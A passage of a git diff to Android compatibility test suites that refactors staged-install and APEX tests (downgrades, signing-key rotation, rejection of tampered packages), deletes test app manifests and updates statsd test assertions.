+        assertThat(shim.getLongVersionCode()).isEqualTo(1);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(
+                ApplicationInfo.FLAG_SYSTEM);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(
+                ApplicationInfo.FLAG_INSTALLED);
+        int sessionId = stageDowngradeSingleApk(TestApp.Apex1).assertSuccessful().getSessionId();
+        waitForIsReadyBroadcast(sessionId);
+        storeSessionId(sessionId);
+    }
+
+    @Test
+    public void testSamegradeSystemApex_VerifyPostReboot() throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionApplied(sessionId);
+        final PackageInfo shim = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager().getPackageInfo(SHIM_PACKAGE_NAME, PackageManager.MATCH_APEX);
+        assertThat(shim.getLongVersionCode()).isEqualTo(1);
+        // Check that APEX on /data wins.
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0);
+        assertThat(shim.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(
+                ApplicationInfo.FLAG_INSTALLED);
+    }
+
+    @Test
+    public void testInstallApkChangingFingerprint() throws Exception {
+        int sessionId = Install.single(TestApp.A1).setStaged().commit();
+        storeSessionId(sessionId);
+    }
+
+    @Test
+    public void testInstallApkChangingFingerprint_VerifyAborted() throws Exception {
+        int sessionId = retrieveLastSessionId();
+        assertSessionFailed(sessionId);
     }
 
     private static long getInstalledVersion(String packageName) {
@@ -646,73 +858,54 @@
     // It becomes harder to maintain this variety of install-related helper methods.
     // TODO(ioffe): refactor install-related helper methods into a separate utility.
     private static int createStagedSession() throws Exception {
-        return createStagedSession(getPackageInstaller(), false, false, false);
+        return Install.single(TestApp.A1).setStaged().createSession();
     }
 
-    private static int createStagedSession(
-            PackageInstaller packageInstaller,
-            boolean multiPackage, boolean isDowngrade, boolean isApexSession) throws Exception {
-        PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        if (multiPackage) {
-            sessionParams.setMultiPackage();
-        }
-        sessionParams.setStaged();
-        sessionParams.setRequestDowngrade(isDowngrade);
-        if (isApexSession) {
-            sessionParams.setInstallAsApex();
-        }
-
-        return packageInstaller.createSession(sessionParams);
+    private static void commitSession(int sessionId) throws IOException {
+        InstallUtils.openPackageInstallerSession(sessionId)
+                .commit(LocalIntentSender.getIntentSender());
     }
 
-    private static StageSessionResult stageDowngradeSingleApk(String apkFileName) throws Exception {
-        Log.i(TAG, "Staging a downgrade of " + apkFileName);
-        PackageInstaller packageInstaller = getPackageInstaller();
-
-        Pair<Integer, PackageInstaller.Session> sessionPair =
-                prepareSingleApkStagedSession(packageInstaller, apkFileName, true);
+    private static StageSessionResult stageDowngradeSingleApk(TestApp testApp) throws Exception {
+        Log.i(TAG, "Staging a downgrade of " + testApp);
+        int sessionId = Install.single(testApp).setStaged().setRequestDowngrade().createSession();
         // Commit the session (this will start the installation workflow).
-        Log.i(TAG, "Committing downgrade session for apk: " + apkFileName);
-        sessionPair.second.commit(LocalIntentSender.getIntentSender());
-        return new StageSessionResult(sessionPair.first, LocalIntentSender.getIntentSenderResult());
+        Log.i(TAG, "Committing downgrade session for apk: " + testApp);
+        commitSession(sessionId);
+        return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
     }
 
-    private static StageSessionResult stageSingleApk(String apkFileName) throws Exception {
-        Log.i(TAG, "Staging an install of " + apkFileName);
-        PackageInstaller packageInstaller = getPackageInstaller();
-
-        Pair<Integer, PackageInstaller.Session> sessionPair =
-                prepareSingleApkStagedSession(packageInstaller, apkFileName, false);
-        // Commit the session (this will start the installation workflow).
-        Log.i(TAG, "Committing session for apk: " + apkFileName);
-        sessionPair.second.commit(LocalIntentSender.getIntentSender());
-        return new StageSessionResult(sessionPair.first, LocalIntentSender.getIntentSenderResult());
-    }
-
-    private static Pair<Integer, PackageInstaller.Session>
-            prepareSingleApkStagedSession(PackageInstaller packageInstaller, String apkFileName,
-            boolean isDowngrade)
+    private static StageSessionResult stageSingleApk(String apkFileName, String outputFileName)
             throws Exception {
-        int sessionId = createStagedSession(packageInstaller, false, isDowngrade,
+        Log.i(TAG, "Staging an install of " + apkFileName);
+        // this is a trick to open an empty install session so we can manually write the package
+        // using writeApk
+        TestApp empty = new TestApp(null, null, -1,
                 apkFileName.endsWith(".apex"));
-        PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-        writeApk(session, apkFileName);
-        return new Pair<>(sessionId, session);
+        int sessionId = Install.single(empty).setStaged().createSession();
+        try (PackageInstaller.Session session =
+                     InstallUtils.openPackageInstallerSession(sessionId)) {
+            writeApk(session, apkFileName, outputFileName);
+            // Commit the session (this will start the installation workflow).
+            Log.i(TAG, "Committing session for apk: " + apkFileName);
+            commitSession(sessionId);
+            return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
+        }
     }
 
-    private static StageSessionResult stageMultipleApks(String... apkFileNames) throws Exception {
-        Log.i(TAG, "Staging an install of " + Arrays.toString(apkFileNames));
-        PackageInstaller packageInstaller = getPackageInstaller();
-        int multiPackageSessionId = createStagedSession(packageInstaller, true, false, false);
-        PackageInstaller.Session multiPackageSession = packageInstaller.openSession(
-                multiPackageSessionId);
-        for (String apkFileName : apkFileNames) {
-            Pair<Integer, PackageInstaller.Session> sessionPair =
-                    prepareSingleApkStagedSession(packageInstaller, apkFileName, false);
-            multiPackageSession.addChildSessionId(sessionPair.first);
-        }
-        multiPackageSession.commit(LocalIntentSender.getIntentSender());
+    private static StageSessionResult stageSingleApk(TestApp testApp) throws Exception {
+        Log.i(TAG, "Staging an install of " + testApp);
+        int sessionId = Install.single(testApp).setStaged().createSession();
+        // Commit the session (this will start the installation workflow).
+        Log.i(TAG, "Committing session for apk: " + testApp);
+        commitSession(sessionId);
+        return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
+    }
+
+    private static StageSessionResult stageMultipleApks(TestApp... testApps) throws Exception {
+        Log.i(TAG, "Staging an install of " + Arrays.toString(testApps));
+        int multiPackageSessionId = Install.multi(testApps).setStaged().createSession();
+        commitSession(multiPackageSessionId);
         return new StageSessionResult(
                 multiPackageSessionId, LocalIntentSender.getIntentSenderResult());
     }
@@ -764,20 +957,28 @@
         }
     }
 
-    private static void installNonStaged(String apkFileName) throws Exception {
-        PackageInstaller packageInstaller = getPackageInstaller();
-        PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        int sessionId = packageInstaller.createSession(sessionParams);
-        PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-        writeApk(session, apkFileName);
-        session.commit(LocalIntentSender.getIntentSender());
-        assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+    private void storeSessionIds(List<Integer> sessionIds) throws Exception {
+        try (BufferedWriter writer = new BufferedWriter(new FileWriter(mTestStateFile))) {
+            writer.write(sessionIds.toString());
+        }
     }
 
-    private static void writeApk(PackageInstaller.Session session, String apkFileName)
+    private List<Integer> retrieveLastSessionIds() throws Exception {
+        try (BufferedReader reader = new BufferedReader(new FileReader(mTestStateFile))) {
+            String line = reader.readLine();
+            String[] sessionIdsStr = line.substring(1, line.length() - 1).split(", ");
+            ArrayList<Integer> result = new ArrayList<>();
+            for (String sessionIdStr: sessionIdsStr) {
+                result.add(Integer.parseInt(sessionIdStr));
+            }
+            return result;
+        }
+    }
+
+    private static void writeApk(PackageInstaller.Session session, String apkFileName,
+            String outputFileName)
             throws Exception {
-        try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
+        try (OutputStream packageInSession = session.openWrite(outputFileName, 0, -1);
              InputStream is =
                      StagedInstallTest.class.getClassLoader().getResourceAsStream(apkFileName)) {
             byte[] buffer = new byte[4096];
@@ -845,19 +1046,6 @@
         return getPackageInstaller().getSessionInfo(sessionId);
     }
 
-    private static void uninstall(String packageName) throws Exception {
-        // No need to uninstall if the package isn't installed.
-        if (getInstalledVersion(packageName) == -1) {
-            return;
-        }
-
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        PackageManager packageManager = context.getPackageManager();
-        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
-        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
-        assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
-    }
-
     private static void assertStatusSuccess(Intent result) {
         int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
                 PackageInstaller.STATUS_FAILURE);
@@ -893,7 +1081,8 @@
     private PackageInstaller.SessionInfo waitForBroadcast(int sessionId) throws Exception {
         PackageInstaller.SessionInfo info =
                 SessionUpdateBroadcastReceiver.sessionBroadcasts.poll(60, TimeUnit.SECONDS);
-        assertThat(info).isNotNull();
+        assertWithMessage("Timed out while waiting for session to get ready")
+                .that(info).isNotNull();
         assertThat(info.getSessionId()).isEqualTo(sessionId);
         return info;
     }
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
index 9182ee9..094fd8d 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
@@ -21,6 +21,8 @@
 
 import static org.junit.Assume.assumeThat;
 
+import android.platform.test.annotations.LargeTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -87,6 +89,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWithAdditionalFile() throws Exception {
         runPhase("testRejectsApexWithAdditionalFile_Commit");
         getDevice().reboot();
@@ -94,6 +97,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWithAdditionalFolder() throws Exception {
         runPhase("testRejectsApexWithAdditionalFolder_Commit");
         getDevice().reboot();
@@ -101,6 +105,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWithPostInstallHook() throws Exception {
         runPhase("testRejectsApexWithPostInstallHook_Commit");
         getDevice().reboot();
@@ -108,6 +113,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWithPreInstallHook() throws Exception {
         runPhase("testRejectsApexWithPreInstallHook_Commit");
         getDevice().reboot();
@@ -115,6 +121,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWrongSHA() throws Exception {
         runPhase("testRejectsApexWrongSHA_Commit");
         getDevice().reboot();
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index fc72f3a..377a0c1 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -25,6 +25,8 @@
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
+import android.platform.test.annotations.LargeTest;
+
 import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -74,9 +76,10 @@
     }
 
     /**
-     * Tests staged install involving only one apk.
+     * Tests for staged install involving only one apk.
      */
     @Test
+    @LargeTest
     public void testInstallStagedApk() throws Exception {
         assumeSystemUser();
         runPhase("testInstallStagedApk_Commit");
@@ -91,26 +94,34 @@
     }
 
     @Test
-    public void testFailInstallAnotherSessionAlreadyInProgress_BothSinglePackage() throws Exception {
-        runPhase("testFailInstallAnotherSessionAlreadyInProgress_BothSinglePackage");
+    public void testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk() throws Exception {
+        runPhase("testFailOverlappingMultipleStagedInstall_BothSinglePackage_Apk");
     }
 
     @Test
-    public void testFailInstallAnotherSessionAlreadyInProgress_SinglePackageMultiPackage() throws Exception {
-        runPhase("testFailInstallAnotherSessionAlreadyInProgress_SinglePackageMultiPackage");
+    public void testAllowNonOverlappingMultipleStagedInstall_MultiPackageSinglePackage_Apk()
+            throws Exception {
+        runPhase("testAllowNonOverlappingMultipleStagedInstall_MultiPackageSinglePackage_Apk");
     }
 
     @Test
-    public void testFailInstallAnotherSessionAlreadyInProgress_MultiPackageSinglePackage() throws Exception {
-        runPhase("testFailInstallAnotherSessionAlreadyInProgress_MultiPackageSinglePackage");
+    public void testFailOverlappingMultipleStagedInstall_BothMultiPackage_Apk() throws Exception {
+        runPhase("testFailOverlappingMultipleStagedInstall_BothMultiPackage_Apk");
+    }
+
+    /**
+     * Tests for installing multiple staged sessions at the same time
+     */
+    @Test
+    @LargeTest
+    public void testMultipleStagedInstall_ApkOnly() throws Exception {
+        runPhase("testMultipleStagedInstall_ApkOnly_Commit");
+        getDevice().reboot();
+        runPhase("testMultipleStagedInstall_ApkOnly_VerifyPostReboot");
     }
 
     @Test
-    public void testFailInstallAnotherSessionAlreadyInProgress_BothMultiPackage() throws Exception {
-        runPhase("testFailInstallAnotherSessionAlreadyInProgress_BothMultiPackage");
-    }
-
-    @Test
+    @LargeTest
     public void testAbandonStagedApkBeforeReboot() throws Exception {
         runPhase("testAbandonStagedApkBeforeReboot_CommitAndAbandon");
         getDevice().reboot();
@@ -118,6 +129,7 @@
     }
 
     @Test
+    @LargeTest
     public void testInstallMultipleStagedApks() throws Exception {
         assumeSystemUser();
         runPhase("testInstallMultipleStagedApks_Commit");
@@ -132,18 +144,18 @@
     }
 
     @Test
-    public void testGetActiveStagedSession() throws Exception {
-        runPhase("testGetActiveStagedSession");
+    public void testGetActiveStagedSessions() throws Exception {
+        runPhase("testGetActiveStagedSessions");
     }
 
     @Test
-    public void testGetActiveStagedSessionNoSessionActive() throws Exception {
-        runPhase("testGetActiveStagedSessionNoSessionActive");
+    public void testGetActiveStagedSessionsNoSessionActive() throws Exception {
+        runPhase("testGetActiveStagedSessionsNoSessionActive");
     }
 
     @Test
-    public void getGetActiveStagedSession_MultiApkSession() throws Exception {
-        runPhase("testGetGetActiveStagedSession_MultiApkSession");
+    public void testGetActiveStagedSessions_MultiApkSession() throws Exception {
+        runPhase("testGetActiveStagedSessions_MultiApkSession");
     }
 
     @Test
@@ -152,6 +164,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStagedInstallDowngrade_DowngradeRequested_DebugBuild() throws Exception {
         assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
 
@@ -175,6 +188,7 @@
     }
 
     @Test
+    @LargeTest
     public void testInstallStagedApex() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -207,6 +221,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStageApkWithSameNameAsApexShouldFail() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -222,6 +237,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStagedInstallDowngradeApex_DowngradeNotRequested_Fails() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -232,6 +248,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStagedInstallDowngradeApex_DowngradeRequested_DebugBuild() throws Exception {
         assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
@@ -243,6 +260,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStagedInstallDowngradeApex_DowngradeRequested_UserBuild_Fails()
             throws Exception {
         assumeThat(getDevice().getBuildFlavor(), endsWith("-user"));
@@ -256,6 +274,19 @@
     }
 
     @Test
+    @LargeTest
+    public void testStagedInstallDowngradeApexToSystemVersion_DebugBuild() throws Exception {
+        assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        installV2Apex();
+        runPhase("testStagedInstallDowngradeApexToSystemVersion_DebugBuild_Commit");
+        getDevice().reboot();
+        runPhase("testStagedInstallDowngradeApexToSystemVersion_DebugBuild_VerifyPostReboot");
+    }
+
+    @Test
+    @LargeTest
     public void testInstallStagedApex_SameGrade() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -270,6 +301,18 @@
         runPhase("testInstallApex_DeviceDoesNotSupportApex_Fails");
     }
 
+    private void installV2Apex()throws Exception {
+        runPhase("testInstallV2Apex_Commit");
+        getDevice().reboot();
+        runPhase("testInstallV2Apex_VerifyPostReboot");
+    }
+
+    private void installV2SignedBobApex() throws Exception {
+        runPhase("testInstallV2SignedBobApex_Commit");
+        getDevice().reboot();
+        runPhase("testInstallV2SignedBobApex_VerifyPostReboot");
+    }
+
     private void installV3Apex()throws Exception {
         runPhase("testInstallV3Apex_Commit");
         getDevice().reboot();
@@ -283,16 +326,133 @@
         runPhase("testFailsInvalidApexInstall_AbandonSessionIsNoop");
     }
 
-    private boolean isUpdatingApexSupported() throws Exception {
-        final String updatable = getDevice().getProperty("ro.apex.updatable");
-        return updatable != null && updatable.equals("true");
-    }
-
     @Test
     public void testStagedApkSessionCallbacks() throws Exception {
         runPhase("testStagedApkSessionCallbacks");
     }
 
+    @Test
+    @LargeTest
+    public void testInstallStagedApexWithoutApexSuffix() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        runPhase("testInstallStagedApexWithoutApexSuffix_Commit");
+        getDevice().reboot();
+        runPhase("testInstallStagedApexWithoutApexSuffix_VerifyPostReboot");
+    }
+
+    @Test
+    public void testRejectsApexDifferentCertificate() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        runPhase("testRejectsApexDifferentCertificate");
+    }
+
+    /**
+     * Tests for staged install involving rotated keys.
+     *
+     * Here alice means the original default key that cts.shim.v1 package was signed with and
+     * bob is the new key alice rotates to. Where ambiguous, we will refer keys as alice and bob
+     * instead of "old key" and "new key".
+     *
+     * By default, rotated keys have rollback capability enabled for old keys. When we remove
+     * rollback capability from a key, it is called "Distrusting Event" and the distrusted key can
+     * not update the app anymore.
+     */
+
+    // Should not be able to update with a key that has not been rotated.
+    @Test
+    public void testUpdateWithDifferentKeyButNoRotation() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        runPhase("testUpdateWithDifferentKeyButNoRotation");
+    }
+
+    // Should be able to update with a key that has been rotated.
+    @Test
+    @LargeTest
+    public void testUpdateWithDifferentKey() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        runPhase("testUpdateWithDifferentKey_Commit");
+        getDevice().reboot();
+        runPhase("testUpdateWithDifferentKey_VerifyPostReboot");
+    }
+
+    // Should not be able to update with a key that is no longer trusted (i.e, has no
+    // rollback capability)
+    @Test
+    @LargeTest
+    public void testUntrustedOldKeyIsRejected() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        installV2SignedBobApex();
+        runPhase("testUntrustedOldKeyIsRejected");
+    }
+
+    // Should be able to update with an old key which is trusted
+    @Test
+    @LargeTest
+    public void testTrustedOldKeyIsAccepted() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        runPhase("testTrustedOldKeyIsAccepted_Commit");
+        getDevice().reboot();
+        runPhase("testTrustedOldKeyIsAccepted_CommitPostReboot");
+        getDevice().reboot();
+        runPhase("testTrustedOldKeyIsAccepted_VerifyPostReboot");
+    }
+
+    // Should be able to update further with rotated key
+    @Test
+    @LargeTest
+    public void testAfterRotationNewKeyCanUpdateFurther() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        installV2SignedBobApex();
+        runPhase("testAfterRotationNewKeyCanUpdateFurther_CommitPostReboot");
+        getDevice().reboot();
+        runPhase("testAfterRotationNewKeyCanUpdateFurther_VerifyPostReboot");
+    }
+
+    @Test
+    @LargeTest
+    public void testAfterRotationNewKeyCanUpdateFurtherWithoutLineage() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        installV2SignedBobApex();
+        runPhase("testAfterRotationNewKeyCanUpdateFurtherWithoutLineage");
+    }
+
+    @Test
+    @LargeTest
+    public void testSamegradeSystemApex() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        runPhase("testSamegradeSystemApex_Commit");
+        getDevice().reboot();
+        runPhase("testSamegradeSystemApex_VerifyPostReboot");
+    }
+
+    @Test
+    public void testInstallApkChangingFingerprint() throws Exception {
+        assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
+
+        try {
+            getDevice().executeShellCommand("setprop persist.pm.mock-upgrade true");
+            runPhase("testInstallApkChangingFingerprint");
+            getDevice().reboot();
+            runPhase("testInstallApkChangingFingerprint_VerifyAborted");
+        } finally {
+            getDevice().executeShellCommand("setprop persist.pm.mock-upgrade false");
+        }
+    }
+
+    private boolean isUpdatingApexSupported() throws Exception {
+        final String updatable = getDevice().getProperty("ro.apex.updatable");
+        return updatable != null && updatable.equals("true");
+    }
+
     /**
      * Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
      * it has a version higher than {@code 1}).
@@ -306,19 +466,21 @@
             // Device doesn't support updating apex. Nothing to uninstall.
             return;
         }
-        final ITestDevice.ApexInfo shimApex = getShimApex();
-        if (shimApex.versionCode == 1) {
-            // System version is active, skipping uninstalling active apex and rebooting the device.
+        if (getShimApex().sourceDir.startsWith("/system")) {
+            // System version is active, nothing to uninstall.
             return;
         }
         // Non system version is active, need to uninstall it and reboot the device.
+        Log.i(TAG, "Uninstalling shim apex");
         final String errorMessage = getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
-        Log.i(TAG, "Uninstalling shim apex " + shimApex);
         if (errorMessage != null) {
-            throw new AssertionError("Failed to uninstall " + shimApex);
+            Log.e(TAG, "Failed to uninstall " + SHIM_APEX_PACKAGE_NAME + " : " + errorMessage);
+        } else {
+            getDevice().reboot();
+            final ITestDevice.ApexInfo shim = getShimApex();
+            assertThat(shim.versionCode).isEqualTo(1L);
+            assertThat(shim.sourceDir).startsWith("/system");
         }
-        getDevice().reboot();
-        assertThat(getShimApex().versionCode).isEqualTo(1L);
     }
 
     private ITestDevice.ApexInfo getShimApex() throws DeviceNotAvailableException {
diff --git a/hostsidetests/stagedinstall/testdata/apk/Av1.xml b/hostsidetests/stagedinstall/testdata/apk/Av1.xml
deleted file mode 100644
index 234448c..0000000
--- a/hostsidetests/stagedinstall/testdata/apk/Av1.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.stagedinstall.testapp.A"
-          android:versionCode="1"
-          android:versionName="1.0" >
-
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="StagedInstall Test App A v1">
-        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/hostsidetests/stagedinstall/testdata/apk/Av2.xml b/hostsidetests/stagedinstall/testdata/apk/Av2.xml
deleted file mode 100644
index dd5e512..0000000
--- a/hostsidetests/stagedinstall/testdata/apk/Av2.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.stagedinstall.testapp.A"
-          android:versionCode="2"
-          android:versionName="2.0" >
-
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="StagedInstall Test App A v2">
-        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/hostsidetests/stagedinstall/testdata/apk/Bv1.xml b/hostsidetests/stagedinstall/testdata/apk/Bv1.xml
deleted file mode 100644
index 2a108b9..0000000
--- a/hostsidetests/stagedinstall/testdata/apk/Bv1.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.stagedinstall.testapp.B"
-          android:versionCode="1"
-          android:versionName="1.0" >
-
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="StagedInstall Test App B v1">
-        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/hostsidetests/statsd/Android.bp b/hostsidetests/statsd/Android.bp
index 68a2d15..5ad4f14 100644
--- a/hostsidetests/statsd/Android.bp
+++ b/hostsidetests/statsd/Android.bp
@@ -30,7 +30,10 @@
         "compatibility-host-util",
         "host-libprotobuf-java-full",
         "platformprotos",
-        "truth-host-prebuilt",
+	"truth-prebuilt",
     ],
-    data: ["**/*.pbtxt"],
+    data: [
+        "**/*.pbtxt",
+        ":CtsStatsdApp",
+    ],
 }
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
index 01b07ec..b24d1c3 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ b/hostsidetests/statsd/apps/statsdapp/Android.bp
@@ -46,12 +46,6 @@
         "androidx.test.rules",
     ],
     jni_libs: ["liblmkhelper"],
-    // tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-    ],
     compile_multilib: "both",
 }
 
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
index c679341..fc1b57e 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
@@ -18,7 +18,7 @@
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.accounts.Account;
 import android.accounts.AccountManager;
@@ -325,7 +325,7 @@
 
         Context context = InstrumentationRegistry.getContext();
         JobScheduler js = context.getSystemService(JobScheduler.class);
-        assertTrue("JobScheduler service not available", js != null);
+        assertWithMessage("JobScheduler service not available").that(js).isNotNull();
 
         JobInfo.Builder builder = new JobInfo.Builder(1, name);
         builder.setOverrideDeadline(0);
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
index 1db1c0a..3728cef 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/Checkers.java
@@ -16,7 +16,7 @@
 
 package com.android.server.cts.device.statsd;
 
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.net.wifi.WifiManager;
 import android.os.Vibrator;
@@ -34,12 +34,12 @@
     @Test
     public void checkVibratorSupported() {
         Vibrator v = InstrumentationRegistry.getContext().getSystemService(Vibrator.class);
-        assertTrue(v.hasVibrator());
+        assertThat(v.hasVibrator()).isTrue();
     }
 
     @Test
     public void checkWifiEnhancedPowerReportingSupported() {
         WifiManager wm = InstrumentationRegistry.getContext().getSystemService(WifiManager.class);
-        assertTrue(wm.isEnhancedPowerReportingSupported());
+        assertThat(wm.isEnhancedPowerReportingSupported()).isTrue();
     }
 }
